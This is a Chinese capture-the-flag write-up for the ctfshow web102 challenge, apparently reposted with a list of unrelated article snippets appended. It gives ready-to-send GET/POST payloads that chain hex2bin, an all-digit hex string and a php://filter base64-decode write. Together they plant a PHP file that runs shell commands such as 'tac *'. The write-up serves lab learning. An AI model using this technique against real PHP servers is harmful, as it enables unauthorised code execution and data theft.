ctfshow-web入门-102

这个题我想记录一下,主要是这个方法属实是有点惊艳到我了。故而进行记录,也为了方便大家阅读理解。

看题目,根据题目我写一下我的分析:

$_POST传入一个v1,$_GET传入一个v2,一个v3。

赋值符号=   优先级高于and,所以$v2=$v4

is_numeric — 检测变量是否为数字或数字字符。

bool is_numeric ( mixed $var )

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

substr — 返回字符串的子串

说明 

string substr( string $string, int $start[, int $length] )

返回字符串 string 由 start 和 length 参数指定的子字符串。

call_user_func — 把第一个参数作为回调函数调用

说明 

mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

 file_put_contents — 将一个字符串写入文件

 

<?phphighlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}?>

根据上面的函数解释再看一遍源代码。

分析出来:1、 $s = substr($v2,2);由此可知,返回$v2的前三位;

                  2、$str = call_user_func($v1,$s);由此可知$v1是函数,$s是参数

                  3、给v3一定要传入一个文件名字,这样才能构造出来一个接受$str的文件

原本我的想法是:$v3传1.php,$v1传system,但是卡在了$v2传不下去了

参考了大师傅的想法和各位万能的网友的wp后,感觉大有所获,来详细分享。

大师傅wp:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
 输出的是 5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
 

 所以对应的我们可以反着来

同时在参考大家的wp的时候学到了一个知识点:在以上$c前加11可以使其在base64编码时产生乱码,可以绕过substr的截断,这点真的很重要。

POST传入:?v1=hex2bin     //这个是call_user_func的前面那个数,就是用作函数

GET传入:?v2=115044383959474e6864434171594473    //加入11造成base64编码前两位乱码绕过substr截断。

                ?V3=php://filter/write=convert.base64-decode/resource=1.php   //将被转化回去的base64数据再次进行解码,用php协议

hex2bin — 转换十六进制字符串为二进制字符串

bin2hex — 函数把包含数据的二进制字符串转换为十六进制值

总结:

传入参数前:首先构造一个命令----》其次将他base64加密----》然后把base64加密的字符串进行16进制转化

目的:构造一条全是数字的经过层层解密后可执行的数据

传入参数后:将原先的输出的全是数字的命令传入v2,并且加上11,绕过substr截断-----》然后再用v1的hex2bin将数字数据转化成base64数据-----》传入v3文件经过php://filter伪协议进行解密----》执行命令

目的:其实就是一个解密的过程

以下为此方法构造命令的新姿势,只是谈谈思路:

那么已经有了这种思路我们是否能够通过这种思路自己构造命令呢??

当然可行,试试。

 构造一条获取f*文件的命令,创建一个1.php文件

$a='<?=`cat f*`;';
$b=base64_encode($a); 
$c=bin2hex($b);     

执行代码,得到命令。

$a='<?=`cat f*`;';
$b=base64_encode($a);  
$c=bin2hex($b);    
输出   5044383959474e686443426d4b6d4137

不太行,有字母

不死心,再试试


$a='<?=`tac *`;';
$b=base64_encode($a); 
$c=bin2hex($b);

echo "$c";

输出的c值是504438395948526859794171594473

完美命令达成啦!!!没有字母真的一个也没有!!!

POST:v1=hex2bin

GET:?v2=504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

但是有点可惜的是并没有把flag回显出来虽然回显出来了东西

 

还是需要查看源代码才能看到flag,很可惜啊。 

 如果有师傅能直接回显出来flag的话,真的真的真的,请教教我,谢谢各位师傅啦!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/5676.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue和react这两大前端框架的优缺点对比

【A】Vue和React是目前最流行的两个前端框架&#xff0c;它们都具有各自的优点和缺点。下面是对Vue和React的优缺点的详细介绍&#xff1a; Vue的优点&#xff1a; 简单易学&#xff1a;Vue的API设计简单&#xff0c;上手较为容易&#xff0c;学习曲线相对较低。文档丰富&…

微软如何打造数字零售力航母系列科普05 - Azure中计算机视觉的视觉指南

Azure中计算机视觉的视觉指南 什么是计算机视觉&#xff1f;如何使用Microsoft Azure将计算机视觉功能集成到应用程序和工作流中&#xff1f; 作者&#xff1a;Nitya Narasimhan 编辑&#xff1a;数字化营销工兵 •11分钟阅读 什么是计算机视觉&#xff1f;如何使用Microso…

WORD排版常见问题与解决方案

前言 近期使用word软件进行论文排版工作&#xff0c;遇到了一些常见的问题&#xff0c;记录一下&#xff0c;避免遗忘。 基本配置 系统环境&#xff1a;win10/win11 word版本&#xff1a;Microsoft Office LTSC 专业增强版 2021 问题与解决方案 问题1&#xff1a;页眉显示内…

SQL数据库经典题型(2)列出有二门以上(含两门)不及格课程的学生姓名及其平均成绩

1.查询平均成绩不及格的学生姓名及平均成绩 select s1.s_id,s1.s_name,round(avg(s2.s_score)) from s_student s1,s_score s2 where s1.s_ids2.s_id group by s1.s_id,s1.s_name having round(avg(s2.s_score))<60; 2.--列出有二门以上&#xff08;含两门&#xff09;不…

SSH远程Ubuntu22.04无法通过X11转发xclock之外的其他GUI界面

问题前置条件 ssh远程Ubuntu22.04服务器开发环境无异常x11转发环境已配置&#xff0c;xclock可正常运行于本地环境可视化程序能够正常运行于Linux服务器 问题现象 除xclock等x11验证工具外&#xff0c;其他诸如python之类编写的可视化程序均无法透过X11转发至本地环境 问题…

[华为OD]C卷 机场航班调度 ,XX市机场停放了多架飞机,每架飞机都有自己的航班号100

题目&#xff1a; XX市机场停放了多架飞机&#xff0c;每架飞机都有自己的航班号CA3385, CZ6678, SC6508 等&#xff0c;航班号的前2个大写字母&#xff08;或数字&#xff09;代表航空公司的缩写&#xff0c;后面4个数字代表航班信息。 但是XX市机场只有一条起飞用跑道&am…

Apollo 编译时报错 ERROR: Config value ‘gpu‘ is not defined in any .rc file

用Apollo的某个版本的源码&#xff0c;执行 bash docker/scripts/dev_start.sh bash docker/scripts/dev_into.sh 创建容器并进入容器后执行 bash apollo.sh build_gpu 编译报错: WARNING: The following rc files are no longer being read, please transfer their conten…

【网络原理】IP协议的地址管理和路由选择

系列文章目录 【网络通信基础】网络中的常见基本概念 【网络编程】网络编程中的基本概念及Java实现UDP、TCP客户端服务器程序&#xff08;万字博文&#xff09; 【网络原理】UDP协议的报文结构 及 校验和字段的错误检测机制&#xff08;CRC算法、MD5算法&#xff09; 【网络…

leetcode 搜索插入位置

给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 示例 1: 输入: nums [1,3,5,6], target 5 输出: 2示例 2: 输入…

LeetCode LCR 179. 和为s的两个数字

原题链接&#xff1a;LCR 179. 查找总价格为目标值的两个商品 - 力扣&#xff08;LeetCode&#xff09; 题目的意思&#xff1a;通过给定的数组&#xff0c;找出两个值&#xff0c;相加并等于目标值。 第一种思路&#xff0c;暴力枚举&#xff0c;伪代码如下&#xff1a; for (…

在C#中使用s7Netplus实现与西门子PLC的数据通信

在C#中使用s7Netplus实现与西门子PLC的数据通信 S7.Net Plus&#xff08;简称s7Netplus&#xff09;是一个开源的西门子PLC驱动程序&#xff0c;专为通过以太网连接与西门子PLC进行通信而设计。它完全用C#编写&#xff0c;使得开发者能够在不处理本地DLL的情况下轻松地进行调试…

关于智慧校园,你知道多少?

智慧校园是指运用现代信息技术&#xff0c;如物联网&#xff08;IoT&#xff09;、大数据、云计算、人工智能&#xff08;AI&#xff09;等&#xff0c;对传统校园进行智能化改造和升级&#xff0c;旨在创建一个高度集成、信息共享、服务全面的校园生态系统。智慧校园不仅仅是技…

python web开发开源规范

Hello , 大家好。首先在五一假期给所有劳动者创造者们送上祝福&#xff0c; 本文聊聊我对python web开源相关的规范 PEP 8 Python编程风格指南:PEP 8是Python编程的官方风格指南&#xff0c;提供了关于代码格式、命名规范、注释等方面的建议。遵循PEP 8可以使代码更易于阅读和…

华为校招机试 - 找到内聚值最大的微服务群组(20240424)

题目描述 开发团队为了调研微服务调用情况,对 n 个微服务调用数据进行了采集分析,微服务使用数字 0 至 n-1 进行编号。 给你一个下标从 0 开始的数组 edges,其中 edges[i] 表示存在一条从微服务 i 到微服务 edges[i] 的接口调用。 我们将形成 1 个环的多个微服务称为微服…

Docker:学习笔记【1】

文章目录 Docker简介Docker基本使用步骤Docker局限性Docker主要概念镜像与容器DockerHubDocker架构Docker与虚拟机参考链接Docker简介 Docker 是一个开源的容器化平台,可以帮助开发者将应用程序及其依赖项封装为一个可移植的容器,然后可以在不同的环境中运行。Docker利用容器…

Gateway结合Nacos使用!!!

一、本地结合使用 1. 引入依赖 <dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId> </dependency> 2. bootstarp.yml配置文件 如果Nacos中配置使用yaml格式&…

Dockerfile部署LNMP

目录 一、项目模拟 1. 项目环境 2. 服务器环境 3. 任务需求 二、Linux系统基础镜像 三、Nginx 1. 建立工作目录 2. 编写Dockerfile脚本 3. 准备nginx.conf配置文件 4. 生成镜像 5. 创建自定义网络 6. 启动镜像容器 7. 验证nginx 四、Mysql 1. 建立工作目录 2. …

使用zookeeper作为分布式节点的配置中心

安装 wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.9/zookeeper-3.4.9.tar.gz tar xfzv zookeeper-3.4.9.tar.gz && mv zookeeper-3.4.9/conf/zoo_sample.cfg zookeeper-3.4.9/conf/zoo.cfg vim zoo_sample.cfg zookeeper-3.4.9/conf/zoo.cfg 把dat…

19 做好微服务间依赖的治理和分布式事务

在前两讲里&#xff0c;分别从微服务的对外接口、消息消费以及微服务自身的相关编码规范上阐述了“防备上游、做好自己”这两个准则如何落地。 在本讲里&#xff0c;将会讲解为什么要“怀疑下游”&#xff0c;以及有哪些手段可以落地此条准则。此外&#xff0c;还会介绍在进行…

基于springboot实现迪迈手机商城设计系统项目【项目源码+论文说明】

基于springboot实现迪迈手机商城设计系统演示 研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管理。…